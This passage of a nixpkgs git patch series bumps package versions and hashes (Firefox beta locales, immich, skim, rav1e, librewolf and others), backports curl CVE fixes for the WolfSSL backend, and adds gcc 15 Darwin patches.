+      sha256 = "3998a4b1d8eedce4789b33fbdfe887bb6c434ef668d45d8cc12445351de18ad9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/te/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/te/Firefox%20140.0b2.dmg";
       locale = "te";
       arch = "mac";
-      sha256 = "0c22ca5d3109cd8ff222906afe4ac7023aad6e983e1c00cb21159e018a2ae52f";
+      sha256 = "b47d181b75916c505795aa612cfd44708f4fdf99e2c47d95ad8b01fd92eff35a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/tg/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/tg/Firefox%20140.0b2.dmg";
       locale = "tg";
       arch = "mac";
-      sha256 = "1d9f2a44adec91d4120228640d6cf73290ca40333109b28f8c6f832e4cbd382b";
+      sha256 = "a149324442209694df3a229d00ccb2f67c7589a601dccf4a263f7e9ab5b80425";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/th/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/th/Firefox%20140.0b2.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "315c2049ab3f0905cc8e3420cddf90e00e7e0a54b65b60625c1eab2f2e560ef4";
+      sha256 = "5391f60c1322ad8ae87436317ac6b95c1c1d3d5f112d5b3d23e82af45118caf8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/tl/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/tl/Firefox%20140.0b2.dmg";
       locale = "tl";
       arch = "mac";
-      sha256 = "b8ce0475f332fc463ab40763ef250ae4711591f81f60065a3d66fa39a1c06dfb";
+      sha256 = "c2a5ee86077abe59ae4acf0ce3d1d4ba2c86511fac1ec44a21bde5c1a714509e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/tr/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/tr/Firefox%20140.0b2.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "ba882caba5bec222b61c307d661caf1d2a3bbc8e58de21c6ecec9a0e48a10c64";
+      sha256 = "799ec56efb3bd5fa7e5f76f9cf7683711c79f342fbf02fd69037d8141887f682";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/trs/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/trs/Firefox%20140.0b2.dmg";
       locale = "trs";
       arch = "mac";
-      sha256 = "fae309ad38fd0972148effa759d979a43c3233c424fcef036921371a5f5c4355";
+      sha256 = "9f6123302bcf9b18344260e3dfab6839087ea41a42daf9c2fed7df04e3362ff4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/uk/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/uk/Firefox%20140.0b2.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "54d8631cc02b44f286cc3716034fa854da91486ac78dae035a1206f1ac00685f";
+      sha256 = "f2e58fb4bae53bd8dc03cd5c29e9d5676dced99a2376322a0ba013eaa5154bb4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/ur/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ur/Firefox%20140.0b2.dmg";
       locale = "ur";
       arch = "mac";
-      sha256 = "e401903f76ef26a3b968a605776428c8b55b54503587644706c2e991f4684932";
+      sha256 = "a4db73f4a8b98557ceb77f1f491e48bd783f0f4f5941d5234309d618a0221a7d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/uz/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/uz/Firefox%20140.0b2.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "f12af8f8cd8d56742dd2a780842b88649d0914aae5151edd7071643bfd96337d";
+      sha256 = "0446e4a59da6f5e3fb242c2a9e3adb781832c2729f64167a12351638f3d00d8a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/vi/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/vi/Firefox%20140.0b2.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "5981392db9d826d35e2a23a0da72664883c57a2e30273912a35cc80dd5e8dba1";
+      sha256 = "e6f47ff4cc809313f928fb365ccd716f7c8de8a5e914e7afdc774c7f3fbd03f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/xh/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/xh/Firefox%20140.0b2.dmg";
       locale = "xh";
       arch = "mac";
-      sha256 = "4d86249d3b3cef3b87f2974199bdc49b5f4116b76595a8c33fc261b7ca6945a8";
+      sha256 = "c4ee8e4849fa4334757c2068f9eb94341bba22b7298c767f7fffa8cde8341c6b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/zh-CN/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/zh-CN/Firefox%20140.0b2.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "1c1b40f50bc92af90419cf2851e707b815dca48ffd43a550a866c3c09e212f36";
+      sha256 = "f22948993a7882ef1e244bcda91b0cd9ef4c814d17f4f54af2b9911e44f0899f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/zh-TW/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/zh-TW/Firefox%20140.0b2.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "7b41474db868d1ddf74bbf96486ea51ca8f187075bff0dabed74ef47db3114a5";
+      sha256 = "c95699dca04392bf80ecd477514e74804614765d53029a9be80e9ea6b821a90c";
     }
   ];
 }

From f5c19be366a1db1a2f1093606b11026428bf9bb2 Mon Sep 17 00:00:00 2001
From: Morgan Jones <me@numin.it>
Date: Wed, 28 May 2025 00:26:24 -0700
Subject: [PATCH 0188/4511] curl: patch CVE-2025-4947 and CVE-2025-5025 for
 WolfSSL backend

- https://curl.se/docs/CVE-2025-4947.html
- https://www.openwall.com/lists/oss-security/2025/05/28/4
- https://curl.se/docs/CVE-2025-5025.html
- https://www.openwall.com/lists/oss-security/2025/05/28/5

Co-authored-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit 21db980e6f6bb129fd973cb247702e6d1ecdf279)
---
 pkgs/by-name/cu/curlMinimal/package.nix | 28 +++++++++++++++++++++----
 1 file changed, 24 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/cu/curlMinimal/package.nix b/pkgs/by-name/cu/curlMinimal/package.nix
index 9f3b02d2fc59..ec012ab2bb37 100644
--- a/pkgs/by-name/cu/curlMinimal/package.nix
+++ b/pkgs/by-name/cu/curlMinimal/package.nix
@@ -103,10 +103,30 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-Sgk5eaPC0C3i+8AFSaMncQB/LngDLG+qXs0vep4VICU=";
   };
 
-  patches = [
-    # Backport of https://github.com/curl/curl/commit/5fbd78eb2dc4afbd8884e8eed27147fc3d4318f6
-    ./0001-http2-fix-stream-window-size-after-unpausing.patch
-  ];
+  patches =
+    [
+      # Backport of https://github.com/curl/curl/commit/5fbd78eb2dc4afbd8884e8eed27147fc3d4318f6
+      ./0001-http2-fix-stream-window-size-after-unpausing.patch
+    ]
+    ++ lib.optionals wolfsslSupport [
+      (fetchpatch {
+        # https://curl.se/docs/CVE-2025-4947.html backported to 8.13. Remove when version is bumped to 8.14.
+        # Note that this works since fetchpatch uses curl, but does not use WolfSSL.
+        name = "curl-CVE-2025-4947.patch";
+        url = "https://github.com/curl/curl/commit/a85f1df4803bbd272905c9e7125.diff";
+        hash = "sha256-z4IYAkg/RylTs1m8tbwI2tVqTCHkIpmkzdFBcRBJmH4=";
+
+        # All the test patches fail to apply (seemingly, they were added for 8.14)
+        includes = [ "lib/vquic/vquic-tls.c" ];
+      })
+      (fetchpatch {
+        # https://curl.se/docs/CVE-2025-5025.html backported to 8.13. Remove when version is bumped to 8.14.
+        # Note that this works since fetchpatch uses curl, but does not use WolfSSL.
+        name = "curl-CVE-2025-5025.patch";
+        url = "https://github.com/curl/curl/commit/e1f65937a96a451292e92313396.diff";
+        hash = "sha256-9k05eDGUA7XT+H4p8H8v0lYXC4cW7W2uvO+z4gLapX4=";
+      })
+    ];
 
   # this could be accomplished by updateAutotoolsGnuConfigScriptsHook, but that causes infinite recursion
   # necessary for FreeBSD code path in configure

From b9e0d71d7c7d9df0a8f73990a04ec6c5be409e7a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Tue, 27 May 2025 16:52:28 -0700
Subject: [PATCH 0189/4511] immich: 1.133.1 -> 1.134.0

Diff: https://github.com/immich-app/immich/compare/refs/tags/v1.133.1...refs/tags/v1.134.0

Changelog: https://github.com/immich-app/immich/releases/tag/v1.134.0
(cherry picked from commit 56632eb784483ae5e747a54ff5298f0f4c219d1b)
---
 pkgs/by-name/im/immich/sources.json | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/pkgs/by-name/im/immich/sources.json b/pkgs/by-name/im/immich/sources.json
index 855b14d14378..4204a1ff0843 100644
--- a/pkgs/by-name/im/immich/sources.json
+++ b/pkgs/by-name/im/immich/sources.json
@@ -1,26 +1,26 @@
 {
-  "version": "1.133.1",
-  "hash": "sha256-8jqFiVNj494GQInfLDTXm43mO+H9YuxPwIqUJFOwwW0=",
+  "version": "1.134.0",
+  "hash": "sha256-TTHgEQyKx54pFWvCD1FT8KZSO9/EZxULZS97VGTfFcE=",
   "components": {
     "cli": {
-      "npmDepsHash": "sha256-oDgO8kb/8VqOAGUfG70x2K58j+OsZe+CjurEShiMeCU=",
-      "version": "2.2.67"
+      "npmDepsHash": "sha256-FOtzQF+3yWJI1lzZq79pbPehDFHAsNk5bx71vm1xWBQ=",
+      "version": "2.2.68"
     },
     "server": {
-      "npmDepsHash": "sha256-3beEul7d4OfByrcm4u28Qv7KTdPW8GJ2gnHfQHT9LY0=",
-      "version": "1.133.1"
+      "npmDepsHash": "sha256-VzduZY7yMgjoCtTzW5rCooFubJeZuSnkYe9mwmI/n6Q=",
+      "version": "1.134.0"
     },
     "web": {
-      "npmDepsHash": "sha256-xvSh0NGm7O+lunbHcE7aGv2OzQNVFlHWIeUAQPF218c=",
-      "version": "1.133.1"
+      "npmDepsHash": "sha256-/T8GZ+kqx/G+9Yn76v2vj+KteoS046d0Cxk58YN+3es=",
+      "version": "1.134.0"
     },
     "open-api/typescript-sdk": {
-      "npmDepsHash": "sha256-y2jwNlqGUIsr3DfNSpEr8BFdP7e8xvNUhBQ52ypf0YI=",
-      "version": "1.133.1"
+      "npmDepsHash": "sha256-gTS+zrhL4mqT0UOLfzrKFdumtwZPmlQntj+DbCaQ2s8=",
+      "version": "1.134.0"
     },
     "geonames": {
-      "timestamp": "20250523191247",
-      "hash": "sha256-TiqUyYre3gGv3yJMoh6B+RZWu1AiMpgSZSW16NTI+Eg="
+      "timestamp": "20250527235755",
+      "hash": "sha256-vAoQS07EEPkDhrnJGz3iX+sBaPDUHB5uF0a/pr5+zD4="
     }
   }
 }

From acf5f037d906bb41505311fa431701ba7b1f8b1f Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 20 May 2025 09:25:59 +0000
Subject: [PATCH 0190/4511] lock: 1.6.1 -> 1.6.2

(cherry picked from commit 5362d7b46f750b499e06388ac32b7cddf975de88)
---
 pkgs/by-name/lo/lock/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/lo/lock/package.nix b/pkgs/by-name/lo/lock/package.nix
index 6d331e18cc2a..3e7a33fea314 100644
--- a/pkgs/by-name/lo/lock/package.nix
+++ b/pkgs/by-name/lo/lock/package.nix
@@ -19,13 +19,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "lock";
-  version = "1.6.1";
+  version = "1.6.2";
 
   src = fetchFromGitHub {
     owner = "konstantintutsch";
     repo = "Lock";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-2AHnzJ5lwm/CXOTBumTxllIzFo88EAENwQFny7TjrUk=";
+    hash = "sha256-Ct5INzqSNbGVSlpQsAuAXFlcZHmN/L4eLCZ4/Di5apQ=";
   };
 
   strictDeps = true;

From 87866d0685ac72b379579b07ce8da525026a4f55 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 19 May 2025 06:49:20 +0000
Subject: [PATCH 0191/4511] garnet: 1.0.64 -> 1.0.65

(cherry picked from commit 932c4ccf4889fd6aa91b970c55b8ae44140e0b38)
---
 pkgs/by-name/ga/garnet/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ga/garnet/package.nix b/pkgs/by-name/ga/garnet/package.nix
index 7e480abafd46..48ff8f1b767d 100644
--- a/pkgs/by-name/ga/garnet/package.nix
+++ b/pkgs/by-name/ga/garnet/package.nix
@@ -8,13 +8,13 @@
 
 buildDotnetModule rec {
   pname = "garnet";
-  version = "1.0.64";
+  version = "1.0.65";
 
   src = fetchFromGitHub {
     owner = "microsoft";
     repo = "garnet";
     tag = "v${version}";
-    hash = "sha256-0poitBKuCfUtkGWXomQAictt7ts7Qdgq1TvEMSqvdJ4=";
+    hash = "sha256-Gebd0dj5VbUiYPTmOlkDQEiIDjflV02GLHCEIjh4S04=";
   };
 
   projectFile = "main/GarnetServer/GarnetServer.csproj";

From a69c72dd927112a9fc4b1e3ab010dd028cb32cdc Mon Sep 17 00:00:00 2001
From: Muhammad Falak R Wani <falakreyaz@gmail.com>
Date: Wed, 21 May 2025 13:26:05 +0530
Subject: [PATCH 0192/4511] skim: 0.17.2 -> 0.17.3

Diff: https://github.com/skim-rs/skim/compare/refs/tags/v0.17.2...v0.17.3
Changelog: https://github.com/skim-rs/skim/releases/tag/v0.17.3
Signed-off-by: Muhammad Falak R Wani <falakreyaz@gmail.com>
(cherry picked from commit 2e586582a5d0ce642faa6e03a736e3a808a23b18)
---
 pkgs/by-name/sk/skim/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sk/skim/package.nix b/pkgs/by-name/sk/skim/package.nix
index 85df95d7cc10..0656f449a518 100644
--- a/pkgs/by-name/sk/skim/package.nix
+++ b/pkgs/by-name/sk/skim/package.nix
@@ -12,7 +12,7 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "skim";
-  version = "0.17.2";
+  version = "0.17.3";
 
   outputs = [
     "out"
@@ -24,7 +24,7 @@ rustPlatform.buildRustPackage rec {
     owner = "skim-rs";
     repo = "skim";
     tag = "v${version}";
-    hash = "sha256-S9gHrGbEDRwMSsQWzPSIrYJaLhnCvfLtsS2eI3rPwdg=";
+    hash = "sha256-aq6qOlxFftiUyMqzbIgv/PnxqSNt6TsHCsy586LdZy0=";
   };
 
   postPatch = ''
@@ -32,7 +32,7 @@ rustPlatform.buildRustPackage rec {
   '';
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-IsPcVNwRx0ZDWATtbxmjuRERrhu8DpHh9v6Svj1dHzc=";
+  cargoHash = "sha256-yhZFLrpI2U/9VWGZkzYGzF5nPRmKpqJnfZ+6bmBYXNI=";
 
   nativeBuildInputs = [ installShellFiles ];
 

From a435db19a41159301261e9e5bc6d2cff02c0c158 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 24 May 2025 23:19:11 +0000
Subject: [PATCH 0193/4511] protonplus: 0.4.27 -> 0.4.30

(cherry picked from commit fe943a744b8cffbba09935b3dd5e5f7303659353)
---
 pkgs/by-name/pr/protonplus/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pr/protonplus/package.nix b/pkgs/by-name/pr/protonplus/package.nix
index 50443df49692..46146e95fe32 100644
--- a/pkgs/by-name/pr/protonplus/package.nix
+++ b/pkgs/by-name/pr/protonplus/package.nix
@@ -20,13 +20,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "protonplus";
-  version = "0.4.27";
+  version = "0.4.30";
 
   src = fetchFromGitHub {
     owner = "Vysp3r";
     repo = "protonplus";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-y6fqn02Ui5RbBy5oMeX5HPRHQDUYD2MphoubZxIwQI8=";
+    hash = "sha256-bI21042EHpNigS2wB0WdM06BF2GHdoXsVpNoHe7ZuLk=";
   };
 
   nativeBuildInputs = [

From e7e7d662f1949b83a61e0ed365fe629ac31e7810 Mon Sep 17 00:00:00 2001
From: Sergei Trofimovich <slyich@gmail.com>
Date: Wed, 28 May 2025 06:12:55 +0100
Subject: [PATCH 0194/4511] rav1e: 0.7.1 -> 0.8.0

Changes: https://github.com/xiph/rav1e/releases/tag/v0.8.0
(cherry picked from commit eb1e3c49b8d7ec05798034b240dc986b2211a56e)
---
 pkgs/by-name/ra/rav1e/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ra/rav1e/package.nix b/pkgs/by-name/ra/rav1e/package.nix
index 5abb1bd0b88b..3b0b7c9fc061 100644
--- a/pkgs/by-name/ra/rav1e/package.nix
+++ b/pkgs/by-name/ra/rav1e/package.nix
@@ -13,15 +13,15 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "rav1e";
-  version = "0.7.1";
+  version = "0.8.0";
 
   src = fetchCrate {
     inherit pname version;
-    hash = "sha256-Db7qb7HBAy6lniIiN07iEzURmbfNtuhmgJRv7OUagUM=";
+    hash = "sha256-hVeBrfZxqkxzUeuut0XgU4qph1z4gPzV/9mS7X9byto=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-sJO40DN/Zfchg9J/7wTmO/RS88Zb6fIJ7nX4VNGe/eA=";
+  cargoHash = "sha256-EDXzpHrdaHd3FQEuVnkQzqsYAjShsGc4XLhDAfmVXK8=";
 
   nativeBuildInputs = [
     cargo-c

From 4492fac09a198f0bafae613b67a9f6122669082b Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Tue, 27 May 2025 23:47:02 -0600
Subject: [PATCH 0195/4511] vscode-extensions.leonardssh.vscord: 5.2.13 ->
 5.3.2

https://github.com/leonardssh/vscord/releases/tag/v5.3.2
Diff: https://github.com/leonardssh/vscord/compare/v5.2.13...v5.3.2
(cherry picked from commit d9f20820d6da425fe07b67f30f509d64f42f1870)
---
 pkgs/applications/editors/vscode/extensions/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/editors/vscode/extensions/default.nix b/pkgs/applications/editors/vscode/extensions/default.nix
index 59371335fb35..a297879e37a2 100644
--- a/pkgs/applications/editors/vscode/extensions/default.nix
+++ b/pkgs/applications/editors/vscode/extensions/default.nix
@@ -2975,8 +2975,8 @@ let
         mktplcRef = {
           name = "vscord";
           publisher = "leonardssh";
-          version = "5.2.13";
-          hash = "sha256-Jgm3ekXFLhylX7RM6tdfi+lRLrcl4UQGmRHbr27M59M=";
+          version = "5.3.2";
+          hash = "sha256-kj1D0X6Wj088nwgFlWZkPG+zaHsqb0MapycPIfRWEIk=";
         };
         meta = {
           description = "Highly customizable Discord Rich Presence extension for Visual Studio Code";

From eecec3a3996707e3f6b6196c77f2aa1d6c7bfb23 Mon Sep 17 00:00:00 2001
From: Sergei Trofimovich <slyich@gmail.com>
Date: Mon, 26 May 2025 06:48:31 +0100
Subject: [PATCH 0196/4511] gcc15: update patches for 15 version

(cherry picked from commit 67cc3aa69a3b411a4501eb46c67ad38a1e6d35b4)
---
 .../patches/15/libgcc-darwin-detection.patch  | 11 +++++++++++
 .../compilers/gcc/patches/default.nix         | 19 ++++++++++++++++++-
 2 files changed, 29 insertions(+), 1 deletion(-)
 create mode 100644 pkgs/development/compilers/gcc/patches/15/libgcc-darwin-detection.patch

diff --git a/pkgs/development/compilers/gcc/patches/15/libgcc-darwin-detection.patch b/pkgs/development/compilers/gcc/patches/15/libgcc-darwin-detection.patch
new file mode 100644
index 000000000000..810d8e6f69a1
--- /dev/null
+++ b/pkgs/development/compilers/gcc/patches/15/libgcc-darwin-detection.patch
@@ -0,0 +1,11 @@
+--- a/libgcc/config.host
++++ b/libgcc/config.host
+@@ -239,7 +239,7 @@ case ${host} in
+     x86_64-*-darwin2[0-2]*)
+       tmake_file="t-darwin-min-11 t-darwin-libgccs1 $tmake_file"
+       ;;
+-    *-*-darwin2*)
++    *-*-darwin2* | *-*-darwin)
+       tmake_file="t-darwin-min-11 $tmake_file"
+       ;;
+     *-*-darwin1[89]*)
diff --git a/pkgs/development/compilers/gcc/patches/default.nix b/pkgs/development/compilers/gcc/patches/default.nix
index 598c42a48d3e..709d35caff38 100644
--- a/pkgs/development/compilers/gcc/patches/default.nix
+++ b/pkgs/development/compilers/gcc/patches/default.nix
@@ -27,11 +27,13 @@
 }:
 
 let
+  atLeast15 = lib.versionAtLeast version "15";
   atLeast14 = lib.versionAtLeast version "14";
   atLeast13 = lib.versionAtLeast version "13";
   atLeast12 = lib.versionAtLeast version "12";
   atLeast11 = lib.versionAtLeast version "11";
   atLeast10 = lib.versionAtLeast version "10";
+  is15 = majorVersion == "15";
   is14 = majorVersion == "14";
   is13 = majorVersion == "13";
   is12 = majorVersion == "12";
@@ -67,6 +69,10 @@ in
   [ (if atLeast12 then ./gcc-12-no-sys-dirs.patch else ./no-sys-dirs.patch) ]
   ++ (
     {
+      "15" = [
+        ./13/no-sys-dirs-riscv.patch
+        ./13/mangle-NIX_STORE-in-__FILE__.patch
+      ];
       "14" = [
         ./13/no-sys-dirs-riscv.patch
         ./13/mangle-NIX_STORE-in-__FILE__.patch
@@ -146,8 +152,11 @@ in
 
 # Fixes detection of Darwin on x86_64-darwin. Otherwise, GCC uses a deployment target of 10.5, which crashes ld64.
 ++ optional (
-  atLeast14 && stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64
+  is14 && stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64
 ) ../patches/14/libgcc-darwin-detection.patch
+++ optional (
+  atLeast15 && stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64
+) ../patches/15/libgcc-darwin-detection.patch
 
 # Fix detection of bootstrap compiler Ada support (cctools as) on Nix Darwin
 ++ optional (
@@ -162,6 +171,7 @@ in
 # Use absolute path in GNAT dylib install names on Darwin
 ++ optionals (stdenv.hostPlatform.isDarwin && langAda) (
   {
+    "15" = [ ../patches/14/gnat-darwin-dylib-install-name-14.patch ];
     "14" = [ ../patches/14/gnat-darwin-dylib-install-name-14.patch ];
     "13" = [ ./gnat-darwin-dylib-install-name-13.patch ];
     "12" = [ ./gnat-darwin-dylib-install-name.patch ];
@@ -171,6 +181,13 @@ in
 
 ++ optionals canApplyIainsDarwinPatches (
   {
+    "15" = [
+      (fetchpatch {
+        name = "gcc-15-darwin-aarch64-support.patch";
+        url = "https://raw.githubusercontent.com/Homebrew/formula-patches/a25079204c1cb3d78ba9dd7dd22b8aecce7ce264/gcc/gcc-15.1.0.diff";
+        sha256 = "sha256-MJxSGv6LEP1sIM8cDqbmfUV7byV0bYgADeIBY/Teyu8=";
+      })
+    ];
     "14" = [
       (fetchpatch {
         name = "gcc-14-darwin-aarch64-support.patch";

From 82d07d03264c08bac9a977daa3494975230033c5 Mon Sep 17 00:00:00 2001
From: cy <cy@cy7.sh>
Date: Sun, 11 May 2025 19:45:27 -0400
Subject: [PATCH 0197/4511] pixelflasher: 7.11.4.0 -> 8.0.1.0

Changelog: https://github.com/badabing2005/PixelFlasher/compare/v7.11.4.0...v8.0.1.0
Upstream added a dependency on `polib` in https://github.com/badabing2005/PixelFlasher/commit/e11422f1f80317bb082711abb4bd480303e8fcae

(cherry picked from commit 6fc882a95d55a392db5474ea7b84acbbf559a9df)
---
 pkgs/by-name/pi/pixelflasher/package.nix | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pi/pixelflasher/package.nix b/pkgs/by-name/pi/pixelflasher/package.nix
index 5b20e7213998..71d9e9c4dc6b 100644
--- a/pkgs/by-name/pi/pixelflasher/package.nix
+++ b/pkgs/by-name/pi/pixelflasher/package.nix
@@ -10,14 +10,14 @@
 }:
 python3Packages.buildPythonApplication rec {
   pname = "pixelflasher";
-  version = "7.11.4.0";
+  version = "8.0.1.0";
   format = "other";
 
   src = fetchFromGitHub {
     owner = "badabing2005";
     repo = "PixelFlasher";
     tag = "v${version}";
-    hash = "sha256-TFvMxYGiRNpuwQyDmSqnksQ31azucZzXq9mZHvl/C4U=";
+    hash = "sha256-3cIrQ5MbYfWpxFZBJTg0h/Q8PHsWP4KYZvGUnhMEjK4=";
   };
 
   desktopItems = [
@@ -43,6 +43,7 @@ python3Packages.buildPythonApplication rec {
     lz4
     markdown
     platformdirs
+    polib
     protobuf4
     psutil
     pyperclip

From f390db04bded12300a4eee7346f9dc6540e8d899 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Wed, 28 May 2025 21:23:13 +0200
Subject: [PATCH 0198/4511] librewolf-unwrapped: 138.0.4-1 -> 139.0-1

Upstream release: https://codeberg.org/librewolf/source/releases/tag/139.0-1

(cherry picked from commit a5741d55e1a7768f98cdfd81517c042af107f115)
---
 .../networking/browsers/librewolf/src.json             | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/applications/networking/browsers/librewolf/src.json b/pkgs/applications/networking/browsers/librewolf/src.json
index 9f579f6aacb2..91f4e6e1e690 100644
--- a/pkgs/applications/networking/browsers/librewolf/src.json
+++ b/pkgs/applications/networking/browsers/librewolf/src.json
@@ -1,11 +1,11 @@
 {
-  "packageVersion": "138.0.4-1",
+  "packageVersion": "139.0-1",
   "source": {
-    "rev": "138.0.4-1",
-    "hash": "sha256-KR8ZiueaEOXt2dw8T6ZvrQURV49Xu4cYe0XE8tEUmbw="
+    "rev": "139.0-1",
+    "hash": "sha256-dhi9hUgEoOFQj7IixFKz1J81zo43h4MkAMpr2OIgass="
   },
   "firefox": {
-    "version": "138.0.4",
-    "hash": "sha512-ZNgEVtqN8n1+7tfrIMNfzyE7yUjrSHObYQHixHbqmpEz2pKEd6eWg8lsFg+NU77VK+SH8BqNKeONOQcfEmdoBg=="
+    "version": "139.0",
+    "hash": "sha512-hKK0fy/3GqwiandKsKyauNmhb1YgoG96u2ZIcyIJ0CKu81qdSHPpHr1npPxJT8I4Uk4lw4+tgEbbJq/aBub5cA=="
   }
 }

From 994f07ce7b85732fdf2342f3a3e04d2156fba6c3 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Wed, 28 May 2025 21:25:08 +0200
Subject: [PATCH 0199/4511] librewolf: add grimmauld to maintainers

(cherry picked from commit 1bdc6727c45cb5505ad9a714190e8105b1938d96)
---
 pkgs/applications/networking/browsers/librewolf/default.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/applications/networking/browsers/librewolf/default.nix b/pkgs/applications/networking/browsers/librewolf/default.nix
index e8ca16d5a5c1..047af6d1bb6a 100644
--- a/pkgs/applications/networking/browsers/librewolf/default.nix
+++ b/pkgs/applications/networking/browsers/librewolf/default.nix
@@ -32,6 +32,7 @@ in
       squalus
       dwrege
       fpletz
+      grimmauld
     ];
     platforms = lib.platforms.unix;
     broken = stdenv.buildPlatform.is32bit;

From 08fe59a612664953908b014c14d879e73288bb94 Mon Sep 17 00:00:00 2001
From: Franz Pletz <fpletz@fnordicwalking.de>
Date: Wed, 28 May 2025 23:06:52 +0200
Subject: [PATCH 0200/4511] librewolf-unwrapped: remove patch filtering

(cherry picked from commit 8f2d0aead118c0dba08616cac535fb0bcd8bd35c)
---
 .../networking/browsers/librewolf/librewolf.nix           | 8 ++------
 1 file changed, 2 insertions(+), 6 deletions(-)

diff --git a/pkgs/applications/networking/browsers/librewolf/librewolf.nix b/pkgs/applications/networking/browsers/librewolf/librewolf.nix
index 85dc784ae873..a87745795204 100644
--- a/pkgs/applications/networking/browsers/librewolf/librewolf.nix
+++ b/pkgs/applications/networking/browsers/librewolf/librewolf.nix
@@ -15,12 +15,8 @@ rec {
 
   extraPostPatch = ''
     while read patch_name; do
-      if [ "$patch_name" != "patches/macos-import-vector.patch" ]; then
-        echo "applying LibreWolf patch: $patch_name"
-        patch -p1 < ${source}/$patch_name
-      else
-        echo "skipping LibreWolf patch: $patch"
-      fi
+      echo "applying LibreWolf patch: $patch_name"
+      patch -p1 < ${source}/$patch_name
     done <${source}/assets/patches.txt
 
     cp -r ${source}/themes/browser .

From b80177afc9701b911356fe8b8934b020129f08b9 Mon Sep 17 00:00:00 2001
From: Kiskae <Kiskae@users.noreply.github.com>
Date: Mon, 19 May 2025 18:34:39 +0200
Subject: [PATCH 0201/4511] linuxPackages.nvidiaPackages.production: 570.144 ->
 570.153.02

